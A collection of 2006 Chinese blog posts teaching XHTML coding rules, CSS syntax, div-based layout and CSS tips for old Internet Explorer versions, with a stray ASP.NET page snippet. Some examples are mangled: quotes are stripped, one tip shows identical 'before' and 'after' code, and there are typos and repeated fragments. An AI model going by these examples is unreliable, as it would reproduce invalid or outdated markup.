<meta name="Copyright" content="www.w3cn.org,自由版权,任意转载" />

  • 站点的简要介绍(推荐)

<meta name="description" content="新网页设计师。web标准的教程站点,推动web标准在中国的应用" />

  • 站点的关键词(推荐)

<meta content="designing, with, web, standards, xhtml, css, graphic, design, layout, usability, ccessibility, w3c, w3, w3cn, ajie" name="keywords" />

先介绍这么多。补充说明,前面花了5节都是讲head区的代码,实际页面内容还一字未提,呵呵,不要急,其实head区是非常重要的,看一个页面的head的代码就可以知道设计师是否够专业。
----------------------------------
第6天:XHTML代码规范

在开始正式内容制作之前,我们必须先了解一下web标准有关代码的规范。了解这些规范可以帮助你少走弯路,尽快通过代码校验。

1.所有的标记都必须要有一个相应的结束标记

以前在HTML中,你可以打开许多标签,例如<p>和<li>而不一定写对应的</p>和</li>来关闭它们。但在XHTML中这是不合法的。XHTML要求有严谨的结构,所有标签必须关闭。如果是单独不成对的标签,在标签最后加一个"/"来关闭它。例如:

<br /><img height="80" alt="网页设计师" src="../images/logo_w3cn_200x80.gif" width="200" />

2.所有标签的元素和属性的名字都必须使用小写

与HTML不一样,XHTML对大小写是敏感的,<title>和<TITLE>是不同的标签。XHTML要求所有的标签和属性的名字都必须使用小写。例如:<BODY>必须写成<body> 。大小写夹杂也是不被认可的,通常dreamweaver自动生成的属性名字"onMouseOver"也必须修改成"onmouseover"。

3.所有的XML标记都必须合理嵌套

同样因为XHTML要求有严谨的结构,因此所有的嵌套都必须按顺序,以前我们这样写的代码:

<p><b></p></b>

必须修改为:

<p><b></b></p>

就是说,一层一层的嵌套必须是严格对称。

4.所有的属性必须用引号""括起来

在HTML中,你可以不需要给属性值加引号,但是在XHTML中,它们必须被加引号。例如:

<height=80>

必须修改为:

<height="80">

特殊情况,你需要在属性值里使用双引号,你可以用",单引号可以使用&apos;,例如:

<alt="say&apos;hello&apos;">

5.把所有<和&特殊符号用编码表示

  • 任何小于号(<),不是标签的一部分,都必须被编码为& l t ;
  • 任何大于号(>),不是标签的一部分,都必须被编码为& g t ;
  • 任何与号(&),不是实体的一部分的,都必须被编码为& a m p;

注:以上字符之间无空格。

6.给所有属性赋一个值

XHTML规定所有属性都必须有一个值,没有值的就重复本身。例如:

<td nowrap> <input type="checkbox" name="shirt" value="medium" checked>

必须修改为:

<td nowrap="nowrap"> <input type="checkbox" name="shirt" value="medium" checked="checked">

7.不要在注释内容中使“--”

“--”只能发生在XHTML注释的开头和结束,也就是说,在内容中它们不再有效。例如下面的代码是无效的:

<!--这里是注释-----------这里是注释-->

用等号或者空格替换内部的虚线。

<!--这里是注释============这里是注释-->

以上这些规范有的看上去比较奇怪,但这一切都是为了使我们的代码有一个统一、唯一的标准,便于以后的数据再利用。

第7天:CSS入门

在了解XHTML代码规范后,我们就要进行CSS布局。首先先介绍一些CSS的入门知识。如果你已经很熟悉了,可以跳过这一节,直接进入下一节。

CSS是Cascading Style Sheets(层叠样式表)的缩写。是一种对web文档添加样式的简单机制,属于表现层的布局语言。

1.基本语法规范

分析一个典型CSS的语句:

p {COLOR:#FF0000;BACKGROUND:#FFFFFF}

  • 其中"p"我们称为"选择器"(selectors),指明我们要给"p"定义样式;
  • 样式声明写在一对大括号"{}"中;
  • COLOR和BACKGROUND称为"属性"(property),不同属性之间用分号";"分隔;
  • "#FF0000"和"#FFFFFF"是属性的值(value)。

2.颜色值

颜色值可以用RGB值写,例如:color : rgb(255,0,0),也可以用十六进制写,就象上面例子color:#FF0000。如果十六进制值是成对重复的可以简写,效果一样。例如:#FF0000可以写成#F00。但如果不重复就不可以简写,例如#FC1A1B必须写满六位。

3.定义字体

web标准推荐如下字体定义方法:

body { font-family : "Lucida Grande", Verdana, Lucida, Arial, Helvetica, 宋体,sans-serif; }

  • 字体按照所列出的顺序选用。如果用户的计算机含有Lucida Grande字体,文档将被指定为Lucida Grande。没有的话,就被指定为Verdana字体,如果也没有Verdana,就指定为Lucida字体,依此类推,;
  • Lucida Grande字体适合Mac OS X;
  • Verdana字体适合所有的Windows系统;
  • Lucida适合UNIX用户
  • "宋体"适合中文简体用户;
  • 如果所列出的字体都不能用,则默认的sans-serif字体能保证调用;

4.群选择器

当几个元素样式属性一样时,可以共同调用一个声明,元素之间用逗号分隔,: p, td, li { font-size : 12px ; }

5.派生选择器

可以使用派生选择器给一个元素里的子元素定义样式,例如这样:

li strong { font-style : italic; font-weight : normal;}

就是给li下面的子元素strong定义一个斜体不加粗的样式。

6.id选择器

用CSS布局主要用层"div"来实现,而div的样式通过"id选择器"来定义。例如我们首先定义一个层

<div id="menubar"></div>

然后在样式表里这样定义:

#menubar {MARGIN: 0px;BACKGROUND: #FEFEFE;COLOR: #666;}

其中"menubar"是你自己定义的id名称。注意在前面加"#"号。

id选择器也同样支持派生,例如:

#menubar p { text-align : right; margin-top : 10px; }

这个方法主要用来定义层和那些比较复杂,有多个派生的元素。

6.类别选择器

在CSS里用一个点开头表示类别选择器定义,例如:

.14px {color : #f60 ;font-size:14px ;}

在页面中,用class="类别名"的方法调用:

<span class="14px">14px大小的字体</span>

这个方法比较简单灵活,可以随时根据页面需要新建和删除。

7.定义链接的样式

CSS中用四个伪类来定义链接的样式,分别是:a:link、a:visited、a:hover和a : active,例如:

a:link{font-weight : bold ;text-decoration : none ;color : #c00 ;}
a:visited {font-weight : bold ;text-decoration : none ;color : #c30 ;}
a:hover {font-weight : bold ;text-decoration : underline ;color : #f60 ;}
a:active {font-weight : bold ;text-decoration : none ;color : #F90 ;}

以上语句分别定义了"链接、已访问过的链接、鼠标停在上方时、点下鼠标时"的样式。注意,必须按以上顺序写,否则显示可能和你预想的不一样。记住它们的顺序是“LVHA”。

呵呵,看了这么多,有点头晕吧,实际上CSS的语法规范还有很多,这里列的只是一些常用的,毕竟我们是循序渐进,不可能一口吃成胖子:)

第8天:CSS布局入门

CSS布局与传统表格(table)布局最大的区别在于:原来的定位都是采用表格,通过表格的间距或者用无色透明的GIF图片来控制文布局版块的间距;而现在则采用层(div)来定位,通过层的margin,padding,border等属性来控制版块的间距。

1.定义DIV

分析一个典型的定义div例子:

#sample{ MARGIN: 10px 10px 10px 10px;
PADDING:20px 10px 10px 20px;
BORDER-TOP: #CCC 2px solid;
BORDER-RIGHT: #CCC 2px solid;
BORDER-BOTTOM: #CCC 2px solid;
BORDER-LEFT: #CCC 2px solid;
BACKGROUND: url(images/bg_poem.jpg) #FEFEFE no-repeat right bottom;
COLOR: #666;
TEXT-ALIGN: center;
LINE-HEIGHT: 150%; WIDTH:60%; }

说明如下:

  • 层的名称为sample,在页面中用<div id="sample">就可以调用这个样式。
  • MARGIN是指层的边框以外留的空白,用于页边距或者与其它层制造一个间距。"10px 10px 10px 10px"分别代表"上右下左"(顺时针方向)四个边距,如果都一样,可以缩写成"MARGIN: 10px;"。如果边距为零,要写成"MARGIN: 0px;"。注意:当值是零时,除了RGB颜色值0%必须跟百分号,其他情况后面可以不跟单位"px"。MARGIN是透明元素,不能定义颜色。
  • PADDING是指层的边框到层的内容之间的空白。和margin一样,分别指定上右下左边框到内容的距离。如果都一样,可以缩写成"PADDING:0px"。单独指定左边可以写成"PADDING-LEFT: 0px;"。PADDING是透明元素,不能定义颜色。
  • BORDER是指层的边框,"BORDER-RIGHT: #CCC 2px solid;"是定义层的右边框颜色为"#CCC",宽度为"2px",样式为"solid"直线。如果要虚线样式可以用"dotted"。
  • BACKGROUND是定义层的背景。分2级定义,先定义图片背景,采用"url(../images/bg_logo.gif)"来指定背景图片路径;其次定义背景色"#FEFEFE"。"no-repeat"指背景图片不需要重复,如果需要横向重复用"repeat-x",纵向重复用"repeat-y",重复铺满整个背景用"repeat"。后面的"right bottom;"是指背景图片从右下角开始。如果没有背景图片可以只定义背景色BACKGROUND: #FEFEFE
  • COLOR用于定义字体颜色,上一节已经介绍过。
  • TEXT-ALIGN用来定义层中的内容排列方式,center居中,left居左,right居右。
  • LINE-HEIGHT定义行高,150%是指高度为标准高度的150%,也可以写作:LINE-HEIGHT:1.5或者LINE-HEIGHT:1.5em,都是一样的意思。
  • WIDTH是定义层的宽度,可以采用固定值,例如500px,也可以采用百分比,象这里的"60%"。要注意的是:这个宽度仅仅指你内容的宽度,不包含margin,border和padding。但在有些浏览器中不是这么定义的,需要你多试试。

下面是这个层的实际表现:

这里是演示内容,这里是演示内容,这里是演示内容,这里是演示内容,这里是演示内容,这里是演示内容,这里是演示内容,这里是演示内容,

这里是演示内容,这里是演示内容,

这里是演示内容,这里是演示内容,

这里是演示内容...

我们可以看到边框是2px的灰色,背景图片在右下没有重复,内容距离上和左边框20px,内容居中,一切和预想的一样。hoho,虽然不好看,但它是最基本的,掌握了它,你就已经学会一半的CSS布局技术了。就是这样,不算难吧!(另一半是什么?另一半是层与层之间的定位。我会在后面逐步讲解。)

2.CSS2盒模型

自从1996年CSS1的推出,W3C组织就建议把所有网页上的对像都放在一个盒(box)中,设计师可以通过创建定义来控制这个盒的属性,这些对像包括段落、列表、标题、图片以及层<div>。盒模型主要定义四个区域:内容(content)、边框距(padding)、边界(border)和边距(margin)。上面我们讲的sample层就是一个典型的盒。对于初学者,经常会搞不清楚margin,background-color,background-image,padding,content,border之间的层次、关系和相互影响。这里提供一张盒模型的3D示意图,希望便于你的理解和记忆。

CSS2盒模型的3D示意图

3.辅助图片一律用背景处理

用XHTML+CSS布局,有一个技术一开始让你不习惯,应该说是一种思维方式与传统表格布局不一样,那就是:所有辅助图片都用背景来实现。类似这样:

BACKGROUND: url(images/bg_poem.jpg) #FEFEFE no-repeat right bottom;

尽管可以用<img>直接插在内容中,但这是不推荐的。这里的"辅助图片"是指那些不是作为页面要表达的内容的一部分,而仅仅用于修饰、间隔、提醒的图片。例如:相册中的图片、图片新闻中的图片,上面的3d盒模型图片都属于内容的一部分,它们可以用<img>元素直接插在页面里,而其它的类似logo,标题图片,列表前缀图片都必须采用背景方式或者其他CSS方式显示。

这样做的原因有2点:

  • 将表现与结构彻底相分离(参考阅读另一篇文章:《理解表现与结构相分离》),用CSS控制所有的外观表现,便于改版。
  • 使页面更具有易用性,更有亲和力。例如:盲人使用屏幕阅读机,用背景技术实现的图片就不会被朗读出来。

 

posted @ 2006-10-02 16:56 javaca88 阅读(87) 评论(0) 编辑

一.使用css缩写

      使用缩写可以帮助减少你CSS文件的大小,更加容易阅读。css缩写的主要规则请参看《常用CSS缩写语法总结》,这里就不展开描述。二.明确定义单位,除非值为0

      忘记定义尺寸的单位是CSS新手普遍的错误。在HTML中你可以只写width=100,但是在CSS中,你必须给一个准确的单位,比如:width:100px width:100em。只有两个例外情况可以不定义单位:行高和0值。除此以外,其他值都必须紧跟单位,注意,不要在数值和单位之间加空格。

三.区分大小写

      当在XHTML中使用CSS,CSS里定义的元素名称是区分大小写的。为了避免这种错误,我建议所有的定义名称都采用小写。

      class和id的值在HTML和XHTML中也是区分大小写的,如果你一定要大小写混合写,请仔细确认你在CSS的定义和XHTML里的标签是一致的。

四.取消class和id前的元素限定

      当你写给一个元素定义class或者id,你可以省略前面的元素限定,因为ID在一个页面里是唯一的,鴆las s可以在页面中多次使用。你限定某个元素毫无意义。例如:

div#content { /* declarations */ }
fieldset.details { /* declarations */ }

可以写成

#content { /* declarations */ }
.details { /* declarations */ }

这样可以节省一些字节。

五.默认值

      通常padding的默认值为0,background-color的默认值是transparent。但是在不同的浏览器默认值可能不同。如果怕有冲突,可以在样式表一开始就先定义所有元素的margin和padding值都为0,象这样:

* {
margin:0;
padding:0;
}

六.不需要重复定义可继承的值

      CSS中,子元素自动继承父元素的属性值,象颜色、字体等,已经在父元素中定义过的,在子元素中可以直接继承,不需要重复定义。但是要注意,浏览器可能用一些默认值覆盖你的定义。

七.最近优先原则

如果对同一个元素的定义有多种,以最接近(最小一级)的定义为最优先,例如有这么一段代码

Update: Lorem ipsum dolor set

在CSS文件中,你已经定义了元素p,又定义了一个classupdate

p {
margin:1em 0;
font-size:1em;
color:#333;
}
.update {
font-weight:bold;
color:#600;
}

这两个定义中,class=update将被使用,因为class比p更近。你可以查阅W3C的《 Calculating a selector’s specificity》 了解更多。

八.多重class定义

一个标签可以同时定义多个class。例如:我们先定义两个样式,第一个样式背景为#666;第二个样式有10 px的边框。

.one{width:200px;background:#666;}
.two{border:10px solid #F00;}

在页面代码中,我们可以这样调用

<div class=one two></div>

这样最终的显示效果是这个div既有#666的背景,也有10px的边框。是的,这样做是可以的,你可以尝试一下。

九.使用子选择器(descendant selectors)

CSS初学者不知道使用子选择器是影响他们效率的原因之一。子选择器可以帮助你节约大量的class定义。我们来看下面这段代码:

<div id=subnav>
<ul>
<li class=subnavitem> <a href=# class=subnavitem>Item 1</a></li>>
<li class=subnavitemselected> <a href=# class=subnavitemselected> Item 1</a> </li>
<li class=subnavitem> <a href=# class=subnavitem> Item 1</a> </li>
</ul>
</div>

这段代码的CSS定义是:

div#subnav ul { /* Some styling */ }
div#subnav ul li.subnavitem { /* Some styling */ }
div#subnav ul li.subnavitem a.subnavitem { /* Some styling */ }
div#subnav ul li.subnavitemselected { /* Some styling */ }
div#subnav ul li.subnavitemselected a.subnavitemselected { /* Some styling */ }

你可以用下面的方法替代上面的代码

<ul id=subnav>
<li> <a href=#> Item 1</a> </li>
<li class=sel> <a href=#> Item 1</a> </li>
<li> <a href=#> Item 1</a> </li>
</ul>

样式定义是:

#subnav { /* Some styling */ }
#subnav li { /* Some styling */ }
#subnav a { /* Some styling */ }
#subnav .sel { /* Some styling */ }
#subnav .sel a { /* Some styling */ }

用子选择器可以使你的代码和CSS更加简洁、更加容易阅读。

十.不需要给背景图片路径加引号

为了节省字节,我建议不要给背景图片路径加引号,因为引号不是必须的。例如:

background:url(images/***.gif) #333;

可以写为

background:url(images/***.gif) #333;

如果你加了引号,反而会引起一些浏览器的错误。

十一.组选择器(Group selectors)

当一些元素类型、class或者id都有共同的一些属性,你就可以使用组选择器来避免多次的重复定义。这可以节省不少字节。

例如:定义所有标题的字体、颜色和margin,你可以这样写:

h1,h2,h3,h4,h5,h6 {
font-family:Lucida Grande,Lucida,Arial,Helvetica,sans-serif;
color:#333;
margin:1em 0;
}

如果在使用时,有个别元素需要定义独立样式,你可以再加上新的定义,可以覆盖老的定义,例如:

h1 { font-size:2em; }
h2 { font-size:1.6em; }

十二.用正确的顺序指定链接的样式

当你用CSS来定义链接的多个状态样式时,要注意它们书写的顺序,正确的顺序是::link :visited :hover :active。抽取第一个字母是LVHA,你可以记忆成LoVe HAte(喜欢讨厌)。

如果你的用户需要用键盘来控制,需要知道当前链接的焦点,你还可以定义:focus属性。:focus属性的效果也取决与你书写的位置,如果你希望聚焦元素显示:hover效果,你就把:focus写在:hover前面;如果你希望聚焦效果替代:hover效果,你就把:focus放在:hover后面。

十三.清除浮动

一个非常常见的CSS问题,定位使用浮动的时候,下面的层被浮动的层所覆盖,或者层里嵌套的子层超出了外层的范围。

通常的解决办法是在浮动层后面添加一个额外元素,例如一个div或者一个br,并且定义它的样式为clear: both。

上面2种方法可以很好解决浮动超出的问题,但是如果当你真的需要对层或者层里的对象进行clear的时候怎么办?一种简单的方法就是用overflow属性。

上面那一种clear方法更适合你,要看具体的情况,这里不再展开论述。

十四.横向居中(centering)

这是一个简单的技巧,但是值得再说一遍,因为我看见太多的新手问题都是问这个:CSS如何横向居中?你需要定义元素的宽,并且定义横向的margin,如果你的布局包含在一个层(容器)中,就象这样:

<!-- 你的布局这里开始 -->

你可以这样定义使它横向居中:

#wrap {
width:760px; /* 修改为你的层的宽度 */
margin:0 auto;
}

但是IE5/Win不能正确显示这个定义,我们采用一个非常有用的技巧来解决:用text-align属性。就象这样:

body {
text-align:center;
}
#wrap {
width:760px; /* 修改为你的层的宽度 */
margin:0 auto;
text-align:left;
}

第一个body的text-align:center; 规则定义IE5/Win中body的所有元素居中(其他浏览器只是将文字居中) ,第二个text-align:left;是将#warp中的文字居左。

十五.导入(Import)和隐藏CSS

因为老版本浏览器不支持CSS,一个通常的做法是使用@import技巧来把CSS隐藏起来。例如:

@import url(main.css);

然而,这个方法对IE4不起作用,这让我很是头疼了一阵子。后来我用这样的写法:

@import main.css;

这样就可以在IE4中也隐藏CSS了,呵呵,还节省了5个字节呢。

十六.针对IE的优化

有些时候,你需要对IE浏览器的bug定义一些特别的规则,这里有太多的CSS技巧(hacks),我只使用其中的两种方法,不管微软在即将发布的IE7 beta版里是否更好的支持CSS,这两种方法都是最安全的。

  • 1.注释的方法
    • (a)在IE中隐藏一个CSS定义,你可以使用子选择器(child selector):
      html>body p {
      /* 定义内容 */
      }
    • (b)下面这个写法只有IE浏览器可以理解(对其他浏览器都隐藏)
      * html p {
      /* declarations */
      }
    • (c)还有些时候,你希望IE/Win有效而IE/Mac隐藏,你可以使用反斜线技巧:
      /* */
      * html p {
      declarations
      }
      /* */
  • 2.条件注释(conditional comments)的方法

    另外一种方法,我认为比CSS Hacks更加经得起考验就是采用微软的私有属性条件注释(conditional comments)。用这个方法你可以给IE单独定义一些样式,而不影响主样式表的定义。就象这样:

    <!--[if IE]>
    <link rel=stylesheet type=text/css href=ie.css />
    <![endif]-->
十七.调试技巧:层有多大?

当调试CSS发生错误,你就要象排版工人,逐行分析CSS代码。我通常在出问题的层上定义一个背景颜色,这样就能很明显看到层占据多大空间。有些人建议用border,一般情况也是可以的,但问题是,有时候border 会增加元素的尺寸,border-top和boeder-bottom会破坏纵向margin的值,所以使用background更加安全些。

另外一个经常出问题的属性是outline。outline看起来象boeder,但不会影响元素的尺寸或者位置。只有少数浏览器支持outline属性,我所知道的只有Safari、OmniWeb、和Opera。

十八.CSS代码书写样式

在写CSS代码的时候,对于缩进、断行、空格,每个人有每个人的书写习惯。在经过不断实践后,我决定采用下面这样的书写样式:

selector1,
selector2 {
property:value;
}

当使用联合定义时,我通常将每个选择器单独写一行,这样方便在CSS文件中找到它们。在最后一个选择器和大括号{之间加一个空格,每个定义也单独写一行,分号直接在属性值后,不要加空格。

我习惯在每个属性值后面都加分号,虽然规则上允许最后一个属性值后面可以不写分号,但是如果你要加新样式时容易忘记补上分号而产生错误,所以还是都加比较好。

最后,关闭的大括号}单独写一行。

空格和换行有助与阅读。

posted @ 2006-10-02 16:30 javaca88 阅读(102) 评论(0) 编辑

CSS中.这三种写法有何不同?

logo { margin:0; }
#logo { margin:0; }
.logo { margin:0; }

前面加#. 加. 什么也不加.有什么区别?

#td 通过id=方式调用
.td 通过 class=方式调用
td 不需要调用,针对整个页面的td元素

w3c规定每个元素只能有一个唯一的id属性,就是说id和元素是1对1关系
所以用#logo是为ID为logo的元素指定css
而如果某样式需要多次被调用,则用.logo这样,在所有需要调用此样式的对象中是用class=”logo”调用



    通常padding的默认值为0,background-color的默认值是transparent。但是在不同的浏览器默认值可能不同。如果怕有冲突,可以在样式表一开始就先定义所有元素的margin和padding值都为0,象这样:


* {
margin:0;
padding:0;
}

六.不需要重复定义可继承的值

      CSS中,子元素自动继承父元素的属性值,象颜色、字体等,已经在父元素中定义过的,在子元素中可以直接继承,不需要重复定义。但是要注意,浏览器可能用一些默认值覆盖你的定义。
十二.用正确的顺序指定链接的样式

当你用CSS来定义链接的多个状态样式时,要注意它们书写的顺序,正确的顺序是::link :visited :hover :active。抽取第一个字母是LVHA,你可以记忆成LoVe HAte(喜欢讨厌)。

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="Test_TestJavascript_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>无标题页</title>
    <style type="text/css">
  
    .a:link{color:bule;}
    .a:visited{color:red;}
    .a:hover{background-color:Transparent;color:black;}
    .a:active{color:lime;}
   </style>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <a class="a" href="http://www.baidu.com" target="_blank">fasdfd</a>
    </div>
    </form>
如果你的用户需要用键盘来控制,需要知道当前链接的焦点,你还可以定义:focus属性。:focus属性的效果也取决与你书写的位置,如果你希望聚焦元素显示:hover效果,你就把:focus写在:hover前面;如果你希望聚焦效果替代:hover效果,你就把:focus放在:hover后面

1.注释的方法

(a)在IE中隐藏一个CSS定义,你可以使用子选择器(child selector):
html>body p {
/* 定义内容 */
}

(b)下面这个写法只有IE浏览器可以理解(对其他浏览器都隐藏)
* html p {
/* declarations */
}

(c)还有些时候,你希望IE/Win有效而IE/Mac隐藏,你可以使用反斜线技巧:
/* */
* html p {
declarations
}
/* */

posted @ 2006-10-02 12:08 javaca88 阅读(160) 评论(0) 编辑